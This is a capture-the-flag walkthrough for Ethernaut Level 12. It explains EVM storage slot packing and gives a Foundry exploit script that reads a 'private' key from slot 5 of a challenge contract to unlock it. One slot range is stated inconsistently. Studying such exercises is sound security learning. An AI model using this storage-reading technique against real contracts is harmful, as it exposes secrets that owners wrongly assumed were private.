Ethernaut Level 12 - Privacy

Ethernaut Level 12 - Privacy

Analysis and solution for Ethernaut's Level 12 - Privacy, with Solidity and Foundry

Objectives

This level requires us to unlock the contract. The core idea behind this level is nothing stored on the blockchain is private, not even the private variables.

This is similar to the Level 08 - Vault. To clear this level, you must know how the EVM stores variables. Let's dive in.


Analysis and Slot Packing

According to Solidity documentation, statically-sized variables (everything except mapping and dynamically-sized array types) are laid out contiguously in storage starting from position 0. Multiple items that need less than 32 bytes are packed into a single storage slot if possible.

This means that each variable type in Solidity is stored on storage slots and each slot is 32 bytes in size. If a variable is smaller than 32 bytes, then the EVM tries to pack multiple variables into a single slot to optimize the storage.

To clear this level we must understand the storage slot of each variable.

  bool public locked = true; // slot 0
  uint256 public ID = block.timestamp; // slot 1
  uint8 private flattening = 10; // slot 2
  uint8 private denomination = 255; // slot 2
  uint16 private awkwardness = uint16(now); // slot 2
  bytes32[3] private data; // slot 3 to 6

Remember that each storage slot is 32 bytes (256 bits) in size.

  • bool locked - Takes up 8 bits or 1 byte of space. This will be in slot 0.
  • uint256 ID - Takes up 32 bytes or 256 bits of space. A full slot. This will be in slot 1.
  • uint8 flattening - Takes up 1 byte of space. This will go in slot 2 as slot 1 is full.
  • uint8 denomination - Takes up 1 byte of space. This will go in slot 2 as well due to packing.
  • uint16 awkwardness - Takes up 2 bytes of space. This will go in slot 2 as well since 32 bytes is not completely filled.
  • bytes32[3] data - Structs and array data always start a new slot and occupy whole slots. This will go in slot 3 and occupy till slot 6 since bytes32 take up a full slot of 32 bytes. The _key will be on slot 5 according to this.

Let's now take a look at the unlock() function:

function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
}

It is evident that to clear the level we must send the value stored inside bytes32[2] private data (slot 5) variable as bytes16 which will allow us to go through the require statement and set the locked to false.


The Exploit

This is how our exploit code looks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel12.sol";

contract POC is Script {

    Privacy level12 = Privacy(0xaDeD3F5a4bf3951994F75b2bf1F4b62C320223D6);

    function run() external{
        vm.startBroadcast();
        bytes32 myKey = vm.load(address(level12), bytes32(uint256(5)));
        level12.unlock(bytes16(myKey));
        vm.stopBroadcast();
    }
}

We are using Foundry's cheatcode vm.load to get the value stored on slot 5 as bytes32 and storing it inside myKey. This is then downcasted to bytes16 and sent inside the unlock() function on the Ethernaut's instance.

Run the script using the following command:

forge script ./script/level12.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv

The script will succeed and the instance can now be submitted to finish the level. The locked status can be queried by a call to the contract or by using your console await contract.locked() which will return false.

image.png

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry


Takeaways

  • Never store private data on the blockchain even inside private data types as everything is public and can be obtained.
  • Slot packing helps a lot when you need to optimize your contracts to save some gas.

References